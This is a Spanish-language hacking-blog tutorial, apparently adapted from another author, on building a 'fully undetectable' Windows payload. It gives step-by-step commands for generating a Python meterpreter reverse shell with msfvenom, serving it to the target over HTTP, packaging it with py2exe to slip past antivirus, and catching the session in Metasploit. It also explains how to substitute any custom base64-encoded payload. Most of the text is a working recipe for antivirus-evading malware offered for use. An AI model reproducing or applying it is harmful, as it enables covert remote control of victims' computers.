En este artículo presentaré un tutorial, de Marcelo Sacchetin, sobre cómo evadir los antivirus en entornos Windows completamente parcheados y actualizados utilizando una carga útil o payload de Python.
Ten en cuenta que intentar la omisión de antivirus es un juego de gato y ratón. Cada vez que una nueva técnica de evasión se vuelve popular, los proveedores de antivirus eventualmente aprenderán sobre ella y actualizarán su base de datos de firmas para bloquearla. Luego, surgirán nuevas técnicas de evasión, que harán que los proveedores lo agreguen a su base de datos de firmas, y así sucesivamente.
1. Payload con Python
Los antivirus basados en firmas funcionan comparando los binarios de los archivos con una base de datos de firmas (así funcionan los antivirus). El siguiente objetivo es “disfrazar” la payload de manera que no coincida con ninguna firma conocida en ninguna base de datos de proveedores de antivirus.
Este malware funcionará como un mero cliente que intenta iniciar una conexión TCP en el puerto 443. A los antivirus basados en el comportamiento les resulta más difícil marcar acciones como esta sin emitir muchos falsos positivos para aplicaciones legítimas como los navegadores web.
Para este ejemplo, utilizaremos una Payload de Python generada por MSFVenom para abrir un shell TCP inverso (sesión de meterpreter) en el puerto 443 a la máquina atacante que ejecuta Metasploit. Una acción como esa es obviamente malicioso y siempre debe ser marcado por cualquier agente antivirus.
Requisitos
- Kali Linux u otra distro para crear la payload y ejecutar Metasploit;
- Metasploitable 3 para empaquetar la payload;
- Windows 10 completamente parcheado para ejecutar;
2. Crear payload meterpreter payload FUD con Python
Cuando hablamos de FUD (Fully Undetectable) hablamos de que sea indetectable. Para crear este artefacto, vamos a realizar los siguientes pasos:
- Instala Python 2.7.16 x86 para Windows.
- Instala Py2exe 32 bits para Python 2.7.
- Opcionalmente, instala Open SSL para Windows.
Cambie a tu PC atacante (en mi caso Parrot OS) y crea la payload de Python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.54 LPORT=443 -f raw -o /var/www/html/mrtp.py
service apache2 start
Copia la payload “mrtp.py” nuevamente a la máquina Windows. Usando powershell, ejecuta:
w g e t http://192.168.1.54/mrtp.py -O mrtp.py
Además, cree un archivo setup.py
con el siguiente contenido:
from distutils.core import setup
import py2exe
setup(
name = 'Mete'’,
description = 'Python-based App',
version = '1.0',
console=['mrtp.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
Empaqueta el ejecutable de Python independiente con Py2Exe:
python.exe .\setup.py py2exe
Prueba el artefacto “mrtp.exe” creado en la carpeta dist
:
Ejecutarlo:
.\dist\mrtp.exe
Regresa a tu Kali Linux o Parrot OS y ejecuta el Metasploit:
msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.1.54
set LPORT 443
run
Ahora que hemos confirmado que el artefacto funciona, comparémoslo con todos los motores antivirus disponibles en VirusTotal. Visita www.virtutotal.com y proporciona tu archivo “mrtp.exe” para escanear.
Si todo va bien, deberías obtener un informe similar al siguiente.
3. Personalizar tu propia payload de Python
Puede aprovechar esta técnica y utilizar tu propia payload personalizada de Python. Todo lo que necesitas hacer es repetir los pasos de la sesión anterior, editando el archivo “mrtp.py” después de generarlo con msfvenom. Tendrá que reemplazar la cadena base64 codificada original con tu propio código Python.
Solo como ejemplo, creemos un script Python “custom_payload.py” que solo imprima dos mensajes y la uses como una nueva payload.
print ("Payload Personalizado")
print ("Esto funciona!")
Después de crearlo, necesitaremos codificarlo con codificación base64:
cat custom_payload.py | base64
Para el script de muestra que utilizamos, nos dará la siguiente cadena codificada en base64: “cHJpbn…..IpCg ==”
Ahora, editamos el script existente “mrtp.py” que utilizamos en la sesión anterior, y reemplazamos la cadena base64 original que comienza con “aW1wb3J0IHNvY2t” con la nueva.
Entonces, realizamos los mismo pasos. Copia el nuevo “mrtp.py” nuevamente a tu máquina Windows y repite los pasos:
w g e t http://192.168.1.54/mrtp.py -O mrtp.py
python.exe .\setup.py py2exe
.\dist\mrtp.exe
Después de ejecutar el nuevo artefacto de Python incluido en “mrtp.exe“, se imprimen en el terminal las cadenas “Payload Personalizado” “Esto Funciona“.
En este punto, deberías poder crear cualquier artefacto de Python FUD que desees simplemente editando el archivo “custom_payload.py
” y empaquetándolo con Py2Exe. (Ver artículo original, aquí)
Si te gusta el contenido y deseas apoyar a la mejora del sitio web, considera hacer una contribución ¡haciendo clic aquí por favor!. ¡NO ES OBLIGATORIO, GRACIAS! :’)
¿Te ha gustado este artículo? Sigue este blog en su fanpage de Facebook, Twitter, Instagram y/o YouTube para que no te pierdas del mejor contenido informático y hacking!